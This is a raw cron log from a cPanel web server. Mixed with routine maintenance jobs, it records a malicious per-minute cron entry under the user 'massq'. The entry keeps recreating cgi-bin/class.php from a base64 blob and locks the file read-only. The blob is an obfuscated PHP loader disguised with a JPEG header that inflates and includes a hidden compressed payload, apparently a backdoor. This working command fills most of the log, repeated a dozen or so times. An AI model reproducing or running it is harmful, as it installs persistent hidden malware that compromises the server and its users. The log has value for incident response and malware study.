Nov 13 06:04:01 server CROND[4523]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:05:01 server CROND[5403]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 06:05:01 server CROND[5404]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:05:01 server CROND[5406]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 06:05:01 server CROND[5405]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 06:06:01 server CROND[6376]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:07:01 server CROND[7302]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:08:01 server CROND[8264]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:09:01 server CROND[9299]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:09:01 server CROND[9300]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 06:10:01 server CROND[10184]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:10:01 server CROND[10185]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 06:10:01 server CROND[10186]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 06:10:01 server CROND[10188]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 06:11:01 server CROND[11162]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:12:01 server CROND[12033]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:12:01 server CROND[12034]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 06:13:01 server CROND[12975]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:14:01 server CROND[13884]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:15:01 server CROND[14692]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 06:15:01 server CROND[14694]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 13 06:15:01 server CROND[14695]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 06:15:01 server CROND[14696]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:15:01 server CROND[14697]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt &gt;/dev/null 2&gt;&amp;1)
Nov 13 06:16:01 server CROND[15632]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
